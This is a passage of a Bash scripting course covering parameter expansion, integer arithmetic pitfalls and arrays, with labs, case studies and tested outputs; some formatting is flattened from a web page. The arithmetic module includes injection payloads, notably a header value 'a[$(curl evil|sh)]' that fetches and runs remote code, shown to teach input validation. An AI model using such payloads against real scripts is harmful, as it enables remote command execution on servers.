${DATA/#$HOME/\~} Replace the leading home directory with ~ for display. If DATA is not exported (just a shell variable), the child process conf.sh cannot see it — go back to Module 0 and use export DATA=….

Verify and clean up: shellcheck conf.sh (if installed) should show no warnings. Clean up: cd ~/bashlab/part2 && rm -rf -- m1.

Case 1: backup script archived /etc into “.tar.gz”

Problem: The script uses name=$(basename "$dir").tar.gz to generate the archive name; the call passed /etc/, and the result was OK; later it was changed to name=${dir##*/}.tar.gz to speed things up, passing /etc/ gives .tar.gz— a hidden file, so monitoring assumed no backup had been created. Fix: first normalize the trailing slash dir=${dir%/} (for multiple slashes, use shopt -s extglob; dir=${dir%%+(/)}), then take the file name; for the root directory / handle separately. Limitation: Parameter expansion does not understand path semantics (.., symbolic links). For a canonical path, use realpath.

Case 2: an empty environment variable deleted the wrong directory

Problem:rm -rf "$STAGING_DIR/"* In STAGING_DIR when unset becomes rm -rf /* (this kind of accident has happened in real open-source projects, for example the 2015 Steam for Linux rm -rf "$STEAMROOT/"* issue). Fix: Use "${STAGING_DIR:?}" to abort immediately on an empty value: rm -rf -- "${STAGING_DIR:?}"/*; Lesson 4’s set -u is the second line of defense. Limitation::? It only blocks “empty”; it cannot block “wrong but non-empty” values. Before high-risk deletes, also check the path prefix (for example, it must begin with /srv/staging/ ).

Case 3: logs don’t reveal invisible characters in an argument

Problem: The deploy script reported “environment prod does not exist”; the log showed env=prod, and after half an hour of troubleshooting we found the value was prod\r (read from a CSV edited on Windows). Fix: Always log with ${v@Q} or printf %q: they show as $'prod\r'; when reading, use ${v%$'\r'} to strip the carriage return. Limitation:@Q Requires Bash 4.4+; on macOS 3.2, use printf %q.

Common errors and fixes

bash: ${s:-3}: returns the whole string instead of the last 3 characters

Cause::- It is parsed as the “default value” operator; s is non-empty, so it is returned unchanged. Fix:${s: -3} (add a space after the colon) or ${s:(-3)}.

s=abcdef; echo "${s:-3} | ${s: -3} | ${s:(-3)}"
abcdef | def | def
bash: ${v,,}: bad substitution

Cause: The script is run by Bash 3.2 (the macOS default) or is not Bash at all (sh script.sh — on Ubuntu it calls dash). Case conversion needs Bash 4.0,@U needs 5.1.

ps -p $$ -o comm=; echo "${BASH_VERSION:-not bash}"; head -1 script.sh

Fix: Write the shebang as #!/usr/bin/env bash, and run with bash script.sh or ./script.sh , not sh script.sh; on macOS, install a newer Bash.

script.sh: line 3: DATA: parameter null or not set

Cause:${DATA:?} The check failed: DATA is unset or empty. Common when running under cron / systemd, which do not read your interactive shell configuration. Fix: Pass it explicitly from the caller (DATA=/srv/data ./script.sh), or give a default in the script ${DATA:=/srv/data}; give :? an actionable hint.

${file%.*} turns “.bashrc” into an empty string / strips only .gz from “archive.tar.gz”

Cause:%.* It removes the shortest “dot followed by anything” suffix. For a hidden file, .bashrc the whole name matches; for double extensions only the last segment is removed. Fix: Define the rule explicitly: for known extensions, write ${f%.tar.gz}; for hidden files, check first [[ $f == .* ]].

The replacement result unexpectedly contains the matched text (${s/x/&})

Cause: Since Bash 5.2, patsub_replacement is on by default, so in the replacement string & stands for the matched text; scripts behave differently when moving from 5.1 to 5.2+. Fix: Quote the replacement string "${s/x/"$rep"}" or escape \&; if needed, shopt -u patsub_replacement.

s=web-01; echo "${s/web/[&]}"; echo "${s/web/[\&]}"
[web]-01
[&]-01
${g//$pat/X} replaces content it should not

Cause: An unquoted $pat in the pattern position is treated as a glob. pat='a*b' It will match a.b axb the whole string. Fix:${g//"$pat"/X}. Verified: g="a.b axb"; pat='a*b' when unquoted, the result is X, and when quoted, the original string.

Command-line exercise
1. img=registry.example.com:5000/team/api:1.4.2, using only parameter expansion, extract the registry address, image name (team/api) and the tag.
img=registry.example.com:5000/team/api:1.4.2
registry=${img%%/*}          # registry.example.com:5000
rest=${img#*/}               # team/api:1.4.2
tag=${rest##*:}              # 1.4.2
repo=${rest%:*}              # team/api
echo "$registry $repo $tag"

Note that the registry address also contains a colon, so first split on / , then split on : ; the image name may carry a digest (@sha256:…), which must be handled first in production @.

2. The script accepts an optional first argument as the environment name, defaulting to dev, and converts it to lowercase.
env_name=${1:-dev}
env_name=${env_name,,}
Scenario analysis
A colleague wrote cleanup_dir=${CLEANUP_DIR-/tmp/build} and then rm -rf "$cleanup_dir"/*. The CI system set CLEANUP_DIR to an empty string. What happens? How should it be fixed?

Without the colon, - the default is used only when unset; an empty string counts as set, so cleanup_dir is empty, and the command becomes rm -rf /*. Change it to ${CLEANUP_DIR:-/tmp/build}, and before deleting, use "${cleanup_dir:?}" as a second guard, and ideally also check the path prefix (for example, it must be inside the workspace).

Verified teaching videos

▶
Basic Parameter Expansion in Bash - You Suck at Programming #026 — You Suck at Programming
English · Basic parameter expansion: default values, prefix and suffix trimming, etc.
▶
Using Parameter Transformation in Bash! really neat variable tricks - You Suck at Programming #056 — You Suck at Programming
English · ${v@Q} etc. @ transformation operators
▶
Why `&` is such a problem with Parameter Expansion in Bash! You Suck at Programming #074 — You Suck at Programming
English · the patsub_replacement change in Bash 5.2
▶
How To Write Bash Scripts In Linux - Complete Guide (Part 3 - Variables) — Learn Linux TV
English · Variables basics (review alongside this module)

Official documentation

Video storyboard script (about 90 seconds)

This courseware cannot directly generate video or MP3; the storyboard and narration below can be given to a video tool to produce.

Shot 1 · 0–15s
Scene: a line in the terminal $(basename "$f"), with a “fork + exec” counter popping up beside it; after ten thousand loop iterations the counter jumps to 10000.
Narration: processing one variable does not require starting a process.
Shot 2 · 15–45s
Scene: the path string laid out as a row of letter cells,# highlighting from the left one cell at a time up to the first slash; ## continuing until the last slash is consumed.
Narration: one hash is the shortest match, two hashes the longest match; the percent sign does the same from the right.
Shot 3 · 45–70s
Scene: a three-column table “unset / empty / has value”,- and :- results appear cell by cell.
Narration: the colon means an empty string is also treated as missing.
Shot 4 · 70–90s
Scene: rm -rf "$DIR/"* with DIR becoming empty, the screen turns red; change it to "${DIR:?}" — the script then exits safely.
Narration: a single question mark is enough to block the most dangerous empty variable.
or score ≥ 70% in the “Quiz”

Module 2 · Arithmetic: $(( )), let and integer pitfalls

06:00 – 13:00 · Bash only has 64-bit signed integers: no decimals, overflow is not reported, numbers starting with 0 are octal, and an arithmetic command whose result is 0 returns “failure” — these four rules explain most arithmetic bugs
7 minPOSIX $(( )) + Bash (( ))★★★★☆
Learning objectives
  • Distinguish arithmetic expansion $(( expr )) (produces a value, POSIX) and arithmetic command (( expr )) (produces an exit status, Bash extension), and let,declare -i; know that $[ ] and expr are obsolete.
  • State the base rules for constants: a leading 0 = octal,0x = hexadecimal,base#n = any base 2–64; use 10#$v to handle 08,09 decimal numbers with leading zeros (such as date +%m).
  • Understand that integer division truncates toward zero, that the modulo result takes the sign of the dividend, and that 64-bit overflow wraps around silently; use “multiply first, then divide + printf” for fixed-point decimals, and hand real floating-point work to awk/bc.
  • Know that (( i++ )) returns exit status 1 when i is 0 (under Lesson 4’s set -e the script will exit because of this), and doing arithmetic on untrusted input can execute commands (arithmetic injection), so first validate with [[ $v =~ ^[0-9]+$ ]] .
Prerequisites: Module 1 and Lesson 1’s exit status. Importance:★★★★☆

What: four ways to do arithmetic

SyntaxTypeResultStandardRecommended
$(( expr ))Arithmetic expansionReplaced with the value of the expression (string)POSIX✓ Use when you need a value
(( expr ))Arithmetic command (compound command)Non-zero value → exit status 0; zero value → exit status 1Bash/ksh✓ conditionals, increments, assignments
let "expr" …Builtin commandis the same as (( )), with the last expression determining the statusBash/kshUsable, but (( )) doesn't need extra quotes
declare -i vinteger attribute,after which every later assignment to v is evaluated as arithmeticBashCaution: v=abc does not error; it takes the value of variable abc instead
$[ expr ],expr 1 + 2legacy syntax / external command——✗ deprecated ($[ ] not in the current Bash manual; Bash NEWS marked it “no longer supported, use $((…))” as early as 2.0, and it is kept only for compatibility; expr is an external command)

In $(( )) and (( )) contexts, variable names can be written without the $ $ ((( count + 1 ))); unset or empty variables are treated as 0; supports nearly all C operators: + - * / % **,++ --,+= -= *= /= %= <<= >>= &= ^= |=, comparison < <= > >= == !=, logical && || !, bitwise & | ^ ~ << >>, ternary ?:, comma ,.

Why: why you must understand integer pitfalls

  1. Integers only: $(( 3.5 + 1 )) directly reports a syntax error; $(( 1 / 3 * 100 )) gives 0 (divides first, then multiplies).
  2. Octal: a leading 0 means octal,08,09 is not a valid octal number, reports value too great for base; 010 silently becomes 8. Dates, times, and zero-padded numbers (0042) all hit this trap.
  3. Overflow wraps around: fixed 64-bit width, no overflow check: 9223372036854775807 + 1 gives -9223372036854775808 (tested).
  4. “0 means failure”: (( expr )) when its value is 0, the exit status is 1. (( i++ )) It returns the value before the increment. With i starting at 0, the first call already “fails”.
  5. Arithmetic evaluates variables recursively: if a variable's value is another expression or variable name, it keeps being evaluated; if the value contains a[$(cmd)] ,cmd is executed.

How: how a constant is recognized (Bash manual, Shell Arithmetic)

  • Starts with 0x/0X → hexadecimal; starts with 0 → octal; otherwise decimal.
  • base#n: base is 2 to 64; the digits, in order, are 0-9,a-z,A-Z,@,_; when base ≤ 36, upper- and lower-case letters are equivalent.
  • 10#08 Forced decimal → 8. Note that 10# the value after # must not be empty (10#$v reports an error when v is empty invalid integer constant), and it cannot have a minus sign; for negatives, use $(( -10#${v#-} )) or validate it first.
  • Division truncates toward zero: -7 / 2 = -3; the remainder's sign follows the dividend: -7 % 3 = -1 (tested). Dividing by zero reports division by 0.
  • When arithmetic expansion fails (non-interactive, non-POSIX mode), Bash abandons the rest of the current line, i.e. the remaining commands, then continues with the next line (tested: echo $((08)); echo same-line the second echo in it does not run).

When: choosing a tool

NeedRecommended
counters, indexes, loop conditions, port numbers, exit-code comparisons(( )) / $(( ))
percentages, averages (keep 1–2 decimal places)Scale up first, then integer-divide, using printf '%d.%02d' printf output
real floating point, scientific computing, large-scale data aggregationawk (Lesson 5),bc -l
big numbers beyond 64 bitsbc, Python
comparing version numbers 1.10 > 1.9by . splitting into arrays and comparing piece by piece, or sort -V
Common misconception① “[[ 10 < 9 ]] is a numeric comparison”—in [[ ]] , < is a string comparison, so it is true (tested); for numeric comparison use (( 10 < 9 )) or [[ 10 -lt 9 ]]. ② “(( count++ )) always succeeds”—when count is 0 it returns 1. ③ “let x=0 is an ordinary assignment”—its exit status is 1. ④ “declare -i can validate input”—n=abc does not error; n takes the value of variable abc (0 if unset). ⑤ “printf '%.2f' claims Bash supports floating point”—that is just the printf builtin's own formatting conversion,$(( )) it is still integers only.

How constant bases are recognized

token contains #: base#n2#1010 → 10 · 10#08 → 8 starts with 0x / 0X0x1F → 31 starts with 0 → octal010 → 8 · 08 → error other digits → decimal42 → 42 Is the token a variable name? → take its value andrecursivelyevaluate it as an expression unset / empty → 0; value "3 + 4" → 7; value "abc" with abc=9 → 9 value 'a[$(cmd)]' → the command substitution in the subscript is executed (arithmetic injection)
Figure 2-1: the base depends only on how the token is written; in arithmetic context, a variable's value is parsed again as an expression

64-bit signed integers: wrap around without an error

int64 ring2^64 values 0+9223372036854775807+1 → -9223372036854775808 tested (Bash 5.2.37) $(( 9223372036854775807 + 1 )) → -9223372036854775808 $(( 7 / 2 )) → 3 $(( -7 / 2 )) → -3 $(( 7 % 3 )) → 1 $(( -7 % 3 )) → -1 $(( 1 / 3 * 100 )) → 0 $(( 100 * 1 / 3 )) → 33 $(( 3.5 + 1 )) → syntax error: invalid arithmetic operator
Figure 2-2: operation order determines precision: multiply before divide; no warning on overflow

value vs exit status

$(( expr )) —— expands to a “value” n=$(( 3 - 3 )) # n="0", the command itself succeedsecho "$(( 2 ** 10 ))" # 1024can appear inside any word (( expr )) —— produces an “exit status” (( 3 - 3 )) → $? = 1 (value is 0)(( i++ )) → $? = 1 when i=0if (( n > 10 )); then … fi
Figure 2-3: use (( )) for tests, use $(( )) for values; for an increment that must always succeed, write (( ++i )) (when i ≥ 0) or i=$(( i + 1 ))

Arithmetic evaluator: step by step, how Bash computes

Pick an expression and step through it: lexical analysis → constant base recognition / recursive variable evaluation → evaluation by precedence → 64-bit truncation → produce value and exit status. All results match the tested output of Bash 5.2.37.

① Lexical analysis— ② Constant / variable— ③ Evaluate by precedence— ④ int64 result— ⑤ Value / exit status— Select an expression, then click “Next”
Click “Next” to start.

Arithmetic quick reference (actual output)

SyntaxPurposeNotes
$(( a + b ))Evaluate and substitutevariable can be omitted $; result is a decimal string
(( n > 10 ))Numeric conditionUsed in if / while / &&
(( count++ )),(( total += n ))modify in placenote: exit status is 1 when the value is 0
$(( 10#$v ))Force decimalv cannot be empty or contain a minus sign
$(( 16#ff )),$(( 2#1010 ))any-base inputoutput base uses printf '%x' 255,%o
$(( RANDOM % 6 + 1 ))Random number$RANDOM range 0–32767, not suitable for security use; in Bash 5.1+ the $SRANDOM is 32-bit
printf '%d.%02d' …fixed-point decimal outputsee example below
awk 'BEGIN{printf "%.3f", 37/41*100}'true floating pointexternal process, suitable for small calculations
echo "1: $(( 7 / 2 )) $(( -7 / 2 )) $(( 7 % 3 )) $(( -7 % 3 )) $(( 2 ** 10 ))"
echo "2: $(( 010 )) $(( 0x1F )) $(( 2#1010 )) $(( 36#z )) $(( 10#010 ))"
m=08; echo "3: $(( 10#$m + 1 ))"
echo "4: $(( 9223372036854775807 + 1 ))"
echo "5: $(( 1 / 3 * 100 )) $(( 100 * 1 / 3 ))"
ok=37 total=41
printf '6: %d.%02d%%\n' $(( ok * 100 / total )) $(( ok * 10000 / total % 100 ))
r=$(( (ok * 1000 + total / 2) / total ))          # round to 0.1%
printf '7: %d.%d%%\n' $(( r / 10 )) $(( r % 10 ))
i=0; (( i++ )); echo "8: rc=$? i=$i"; (( ++i )); echo "   rc=$? i=$i"
(( 0 )); echo "9: (( 0 )) rc=$?"
let "a = 3 * 4" "b = a + 1"; echo "10: $a $b"; let c=0; echo "   let c=0 rc=$?"
declare -i n; n="3 + 4"; echo "11: n=$n"; n=abc; echo "   n=abc -> $n"
x=5; (( x += 3, y = x * 2 )); echo "12: x=$x y=$y"
echo "13: $(( x > 3 ? 1 : 0 )) $(( 5 & 3 )) $(( 5 | 3 )) $(( 1 << 4 ))"
[[ 10 < 9 ]] && echo "14: [[ 10 < 9 ]] is true (string comparison)"
s=" 42 "; echo "16: $(( s + 1 ))"; v=""; echo "17: [$(( v + 1 ))]"
1: 3 -3 1 -1 1024
2: 8 31 10 35 10
3: 9
4: -9223372036854775808
5: 0 33
6: 90.24%
7: 90.2%
8: rc=1 i=1
   rc=0 i=2
9: (( 0 )) rc=1
10: 12 13
   let c=0 rc=1
11: n=7
   n=abc -> 0
12: x=8 y=16
13: 1 1 7 16
14: [[ 10 < 9 ]] is true (string comparison)
16: 43
17: [1]

How to verify: For a suspicious number, first declare -p v look at the raw value (leading zeros, spaces,\r). Common mistake: on line 6 the decimal part is written as $(( ok * 100 % total ))— that is the remainder, not a decimal. Production uses: error rates, disk-usage thresholds, retry backoff times (sleep $(( 2 ** attempt ))).

Octal trap: dates and zero-padded numbers

month=$(date +%m)            # e.g. "08"
echo $(( month + 1 ))         # fails in August and September!
echo $(( 10#$month + 1 ))     # correct
printf -v next '%02d' $(( 10#$month % 12 + 1 )); echo "$next"
# or let date print the value without a leading zero (GNU date supports %-m)
date +%-m
bash: 08: value too great for base (error token is "08")
9
09
8

%-m is a GNU date extension (Rust coreutils and BusyBox support varies; check their own docs); 10# the 10# form depends only on Bash and is more reliable.

Lab 2: compute the error rate and average response size of an access log (about 7 minutes)

Goal: without awk, use Bash integer arithmetic to compute the 5xx ratio (two decimal places) and the average response bytes. First, use the tool Module 6 covers in detail to while read read the first N lines.
cd ~/bashlab/part2 && mkdir -p m2 && cd m2
total=0 err=0 bytes=0
while read -r ip _ _ _ _ _ _ _ status size _; do
  (( total++ )) || true           # returns 1 when i=0; || true is just a demo, a better form follows
  [[ $status == 5?? ]] && (( err += 1 ))
  [[ $size =~ ^[0-9]+$ ]] && (( bytes += size ))
done < "$DATA/access.log"
echo "total=$total err=$err bytes=$bytes"
total=611 err=28 bytes=2703396

In combined format, after splitting on whitespace, field 9 is the status code and field 10 is the byte count (the time field [17/Nov/2026:10:00:01 +0000] takes two fields, the request line "GET /x HTTP/1.1" takes three). _ is the conventional name for a discarded field. The byte count may be -, so validate it with a regex first.

fixed-point decimal:
pct_int=$(( err * 100 / total ))
pct_frac=$(( err * 10000 / total % 100 ))
avg=$(( (bytes + total / 2) / total ))      # round
printf '5xx ratio: %d.%02d%%  average response: %d bytes\n' "$pct_int" "$pct_frac" "$avg"
5xx ratio: 4.58%  average response: 4425 bytes
Compare with (to verify your integer algorithm is correct):
awk '$9 ~ /^5/ {e++} {n++; if ($10 ~ /^[0-9]+$/) b += $10} END {printf "%.2f%% %.1f\n", e*100/n, b/n}' "$DATA/access.log"
4.58% 4424.5

28 / 611 = 4.58%; average 4424.5 bytes, rounded to 4425 with integers — both methods agree.

Experience the octal trap and its fix:
for m in 07 08 09 10; do
  echo "$m → $(( 10#$m + 1 ))"
done
m=08; (( m + 1 )) 2>&1 | head -1 || true
bash -c 'm=08; echo $(( m + 1 )); echo "this command on the same line does not run"'; echo "rc=$?"
07 → 8
08 → 9
09 → 10
10 → 11
bash: ((: 08: value too great for base (error token is "08")
bash: line 1: 08: value too great for base (error token is "08")
rc=1

In the second command,echo "this command on the same line does not run" indeed prints nothing: the expansion error makes Bash abandon the rest of this line's commands,bash -c and exits with status 1.

Try arithmetic injection (run only in a lab directory):
x='a[$(echo I was executed >&2)]'
(( x > 0 )); echo "rc=$?"
# Correct approach: validate first, then compute
if [[ $x =~ ^[0-9]+$ ]]; then (( x > 0 )); else echo "Rejecting non-numeric input: ${x@Q}" >&2; fi
I was executed
rc=1
Rejecting non-numeric input: 'a[$(echo I was executed >&2)]'

[[ $x -gt 0 ]] The same happens when x is evaluated as arithmetic, so the command runs too (tested). Any number from a file, HTTP parameter, or CSV must be validated before it reaches (( )),$(( )),-eq/-gt and array subscripts.

Cleanup: cd ~/bashlab/part2 && rm -rf -- m2.

Case 1: a report script that fails every August and September on schedule

Problem: The monthly report script uses prev=$(( $(date +%m) - 1 )) to compute last month. January–July and October–December work fine, but August and September report value too great for base, and since the error happens during expansion, the rest of that line's commands are skipped, and later steps keep running with empty variables. Fix:m=$(date +%m); prev=$(( 10#$m - 1 )), and handle January → December; better, let date compute it directly: date -d 'last month' +%Y-%m (GNU date). Limitation:-d is a GNU extension; macOS date uses -v-1m.

Case 2: the set -e script exits on the first count

Problem: The script enables strict mode, and inside the loop (( processed++ )), processed starts at 0, so the first increment yields 0 → exit status 1 → set -e silently exits the entire script. Fix: write as (( ++processed )) (new value ≥ 1) or processed=$(( processed + 1 )) (an assignment's exit status is 0). Lesson 4 systematically covers set -e the rules. Limitation:(( ++x )) also returns 1 when x is -1; beyond counters, still be careful.

Case 3: a number read from an HTTP header executed a command

Problem: A CGI-style health-check script puts the request header X-Retry: … directly into (( retry < 5 )). An attacker sent X-Retry: a[$(curl evil|sh)], and the command is executed on the server. Fix: Validate all external input before it enters an arithmetic context, using [[ $v =~ ^[0-9]{1,9}$ ]] (limiting the length also prevents overflow). Limitation: This is Bash's designed behavior, not a bug; ShellCheck cannot catch it in every case.

Common errors and fixes

08: value too great for base (error token is "08")

Cause: leading 0 → octal; 8 and 9 are not octal digits. Diagnosis:declare -p variable to see the raw value. Fix:$(( 10#$v )); if the value may be empty, first v=${v:-0}; if it may have a minus sign, split off the sign first.

syntax error: invalid arithmetic operator (error token is ".5 + 1 ")

Cause: Bash arithmetic does not support decimals. Fix: scale up to integers (in cents, milliseconds, or per mille) or hand it to awk: awk -v a=3.5 'BEGIN{print a+1}'.

syntax error in expression (error token is "…") —— the variable contains a space, carriage return, or unit

Cause: the value is 42ms,1,024 or has a \r 42\r (Windows line ending). Ordinary spaces before or after are allowed (" 42 " tested, they still compute). Fix: Sanitize: v=${v%$'\r'},v=${v//,/},v=${v%ms}, then validate with a regex.

division by 0 (error token is "0 ")

Cause: the denominator is 0, common when computing a ratio on an empty log. Fix: first check (( total > 0 )) || { echo "no data"; exit 1; } (logstats.sh in Module 8 does exactly this).

the script silently exits at (( count++ )) (set -e)

Cause: the expression's value is 0 → exit status 1. Diagnosis:bash -x script.sh look at the last command executed. Fix:(( ++count )) or count=$(( count + 1 )).

[[ $a > $b ]] treats "10" > "9" as false / version comparison bug

Cause:[[ ]] in the < and > compare strings lexicographically. Fix: For numbers, use (( a > b )) or -gt; for version numbers, compare segment by segment or printf '%s\n' "$a" "$b" | sort -V | tail -1.

Command-line exercise
1. Format the number of seconds secs=3725 as 01:02:05.
secs=3725
printf '%02d:%02d:%02d\n' $(( secs / 3600 )) $(( secs % 3600 / 60 )) $(( secs % 60 ))
2. Write an exponential backoff: wait 2^n seconds before retry n, capped at 30 seconds.
for (( attempt = 0; attempt < 6; attempt++ )); do
  delay=$(( 2 ** attempt )); (( delay > 30 )) && delay=30
  echo "Before retry $attempt, wait ${delay}s"
done
Scenario analysis
A monitoring script reads df the usage percentage output (e.g. "85%"), alerts if it is over 80. A colleague wrote if [ "$use" \> 80 ], why does “9%” also trigger the alert? How should it be written?

\> In [ ] is a lexicographic string comparison, so the first character 9 of “9%” is greater than the first character 8 of “80”. First, strip the percent sign and validate the value as an integer: use=${use%\%}; [[ $use =~ ^[0-9]+$ ]] && (( use > 80 )) && alert.

Verified teaching videos

▶
Bash Arithmetic Expressions Explained — You Suck at Programming
English · Usage of $(( )) and (( ))
▶
How To Write Bash Scripts In Linux - Complete Guide (Part 4 - Basic Math) — Learn Linux TV
English · Introduction to basic arithmetic

Official docs

No verified dedicated videos were found for the “octal trap” and “arithmetic injection”; a storyboard is provided below.

Video storyboard (about 80 seconds)

This courseware cannot directly generate video or MP3; the storyboard and narration below can be handed to a video tool.

Shot 1 · 0–20s
Visual: the calendar flips to August 1; on screen the report script errors with “value too great for base”.
Narration: one leading zero makes the script fail every August and September.
Shot 2 · 20–40s
Visual: the token “08” enters the recognition flow and goes down the “starts with 0 → octal” branch; 8 is highlighted in red. With 10# added, it goes down the decimal branch.
Narration: a leading zero means octal, and 10# forces decimal.
Shot 3 · 40–60s
Visual: the value of (( i++ )) is 0, becoming exit status 1; the set -e red light turns on.
Narration: an arithmetic command whose value is zero counts as failure, so the script exits on the first count.
Shot 4 · 60–80s
Visual: the variable value a[$(id)] enters arithmetic context, and the command in the subscript is executed.
Narration: before external input enters arithmetic, verify that it is purely numeric.
or score ≥ 70% on the quiz

Module 3 · Arrays and associative arrays

13:00 – 21:00 · Replace space-joined strings with real arrays, so spaces in filenames stop being a problem; associative arrays give Bash its first “dictionary”, and counting, grouping, and de-duplication each take one line
8 minutesIndexed arrays · Associative arrays (Bash 4.0+)★★★★★
Learning objectives
  • Declare and initialize indexed arrays: a=(x "y z"),a+=(w),a[10]=v (sparse),declare -a; read ${a[i]},${a[-1]} (4.3+), length ${#a[@]}, index list ${!a[@]}, slicing ${a[@]:off:len}; delete unset 'a[i]' and understand that “deleting does not renumber”.
  • Be clear about "${a[@]}" (each element is one word),"${a[*]}" (joined into one word with the first character of IFS) versus unquoted (re-split + globbing), and use "${a[*]}" together with a local IFS to join.
  • Using associative arrays: you must declare -A; use them to (( m[$k]++ )) count,m[$k]+=… group,[[ -v m[$k] ]] check for existence,${!m[@]} iterate over keys; the key order is not guaranteed, so sort it yourself when needed.
  • Understand empty arrays and set -u: since Bash 4.4 "${a[@]}" and ${#a[@]} do not error for arrays assigned as empty; but for declare -a b arrays that are declared but never assigned,${#b[@]} still report unbound (Bash 5.2.37 tested); accessing a nonexistent element ${a[5]} errors too, so get into the habit of a=() initializing arrays and using ${a[5]:-default} .
Prerequisites: Module 1 parameter expansion (arrays also support #,%,/ and other operators, applied to each element). Importance:★★★★★

What: two kinds of arrays

Indexed array (indexed)Associative array (associative)
subscriptnon-negative integer (arithmetic expression), can be sparseany non-empty string
Declarationdirect assignment a=(…) is enough; declare -a optionalrequired declare -A m (or local -A), otherwise m[key]=v the key is evaluated as an arithmetic expression (usually 0)
Initializationa=(x y "z w"),a=([3]=c [10]=x)declare -A m=([prod]=3 [dev]=1)
Iteration orderin ascending index orderhash order, not guaranteed to match insertion order
VersionBash 2.0+; negative subscripts ${a[-1]} needs 4.3+Bash 4.0+ (macOS ships 3.2, which lacks it)
POSIX shnone (only positional parameters, "$@" as this single “array”)none

Arrays cannot be exported directly to child-process environments (export a does not work for arrays); also cannot be nested (there is no “array of arrays”; use "$i,$j" to simulate two dimensions).

Why: why use arrays instead of strings

# ✗ string list: relies on word splitting, elements with spaces get split, and * gets globbed
files="report 2026.txt app.log"
for f in $files; do echo "<$f>"; done     # <report> <2026.txt> <app.log>

# ✓ array: each element is a separate word
files=("report 2026.txt" app.log)
for f in "${files[@]}"; do echo "<$f>"; done   # <report 2026.txt> <app.log>

# ✓ build command arguments dynamically (much safer than concatenating strings + eval)
args=(-sS --max-time 5)
[[ -n ${TOKEN:-} ]] && args+=(-H "Authorization: Bearer $TOKEN")
curl "${args[@]}" https://example.com/healthz

How: @ and * expansion rules (Bash manual, Arrays section)

SyntaxResult (files=("a b.log" "c.log"))Use
"${files[@]}"2 words: <a b.log> <c.log>✓ 99% of cases: iteration, passing arguments
"${files[*]}"1 word: <a b.log c.log> (joined with the first character of IFS)join: (IFS=,; echo "${files[*]}") → a b.log,c.log
${files[@]} / ${files[*]} (unquoted)3 words: <a> <b.log> <c.log>, and also does globbing✗ almost never needed
${#files[@]}element count 2Note ${#files} is the length of element 0
${!files[@]}index / key list 0 1iterating sparse and associative arrays
${files[@]:1:1}Slice c.logtake the first N, skip the header
"${files[@]%.log}"suffix removal on each elementbulk transformation
$filesequivalent to ${files[0]}✗ common source of bugs

this rule is exactly the same as for positional parameters: "$@" corresponds to "${a[@]}","$*" corresponds to "${a[*]}".

Empty arrays and set -u (Bash 5.2.37 tested + verified in CHANGES)

caseBash ≥ 4.4Bash 3.2 / 4.0–4.3
a=() after "${a[@]}",${#a[@]},"${a[*]}"✓ expands to empty / 0, no error✗ a[@]: unbound variable
declare -a b (unassigned), after "${b[@]}"✓ expands to empty in a for loop (tested)✗
declare -a b after ${#b[@]}✗ b: unbound variable (tested in 5.2.37)✗
declare -A h=() after ${#h[@]}✓ 0—
a nonexistent element ${a[5]},${h[missing]}✗ unbound variable✗
${a[5]:-none},${h[missing]:-0}✓ default value✓

Bash 4.4 CHANGES, verbatim: “Using ${a[@]} or ${a[*]} with an array without any assigned elements when the nounset option is enabled no longer throws an unbound variable error.” For compatibility with Bash 3.2, use the classic form: ${a[@]+"${a[@]}"}.

When: when to use arrays, and when to switch tools

  • ✓ file lists, command arguments, de-duplicated sets, counters, small lookup tables (thousands to hundreds of thousands of elements are fine).
  • ✓ read a whole small file into memory: mapfile -t lines < file (Module 6).
  • ✗ nested structures (JSON) → jq (Lesson 6); aggregating hundreds of MB of data → awk (Lesson 5, more than an order of magnitude faster than Bash loops).

Comparison with similar techniques

Bash arrayPositional parameters "$@"space-separated stringawk array
elements with spaces✓✓✗✓
associative keys✓ (-A)✗✗✓ (awk arrays are all associative)
POSIX sh✗✓ (one per function)✓✓
Large-data performanceMediumMedium—High
Common misconceptions① “unset 'a[1]' “the elements after it shift forward”—no, the array becomes sparse, and the slot ${a[1]} is empty; to renumber, use a=("${a[@]}"). ② “for i in $(seq 0 $((${#a[@]}-1))) can iterate over all elements”—on a sparse array you skip some or access nonexistent ones; use "${!a[@]}". ③ “associative arrays keep insertion order”—no. ④ “m[key]=v alone creates an associative array”—without declare -A , it creates an indexed array; the key is treated as an arithmetic expression (variable key unset → index 0). ⑤ “unset m[$k] is safe”—when unquoted, […] may be treated as a glob pattern; with double quotes unset "m[$k]" , in the key, $(…) is evaluated again (tested in 5.2.37, the command runs); the correct form is single quotes unset 'm[$k]'.

Memory model of indexed arrays: subscript → value (can be sparse)

servers=(web-01 web-02 "db 01" api-01); unset 'servers[1]' [0]web-01 [1](unset) [2]db 01 [3]api-01 ${#servers[@]} → 3 ${!servers[@]} → 0 2 3 ${servers[1]} → (empty) "${servers[@]}" → 3 words: web-01 | db 01 | api-01 servers=("${servers[@]}") → renumbered to [0] [1] [2] ${servers[-1]} → api-01 (4.3+, negative subscripts count back from the largest index)
Figure 3-1: a Bash indexed array is an ordered mapping from subscripts, not contiguous memory; length is the number of elements, not the largest subscript + 1

"${a[@]}" vs "${a[*]}" vs unquoted

files=("a b.log" "c.log") "${files[@]}"[a b.log] [c.log] → 2 arguments ✓ "${files[*]}" (IFS defaults to space; with IFS=, use a comma)[a b.log c.log] / [a b.log,c.log] → 1 argument ${files[@]} (unquoted)[a] [b.log] [c.log] → 3 arguments ✗ (re-split + glob)
Figure 3-2: square brackets mark one separate argument (argv element); tested output is on the “Commands” tab

Associative array counting: how one line executes

Read a lineenv=prod (( ++env_count[$env] ))subscript first expands to "prod" hash table env_count "prod" → 2 → 3"staging" → 1"dev" → 1 a nonexistent key is treated as 0 in arithmetic, so no initialization is needed
Figure 3-3: counting uses (( ++m[$k] )) (new value ≥ 1, exit status always 0); grouping uses m[$k]+="${m[$k]:+ }$item"

Array slot visualization: what is in the array after each step

Pick an operation sequence and step through it. Above are the array's “slots” (subscript → value); below are the arguments each expansion produces at that moment (each box is one argv element). All results match the tested output of Bash 5.2.37.

Current command
Array slots
Expansion results (each box = one argument)
Click “Next” to start.

Array operations quick reference

OperationIndexed arrayAssociative array
Declarea=() / declare -a a=()declare -A m=()
Assigna[3]=x,a=(x y)m[key]=v,m=([k1]=v1 [k2]=v2)
Appenda+=(z "w v")m+=([k3]=v3); append value m[k]+=txt
Read${a[0]},${a[-1]}${m[key]},${m[$k]:-default}
all values"${a[@]}"; join (IFS=,; echo "${a[*]}")
all subscripts / keys"${!a[@]}"
Length${#a[@]}; length of an element ${#a[2]}
existence check[[ -v a[3] ]][[ -v m[$k] ]] (4.3+)
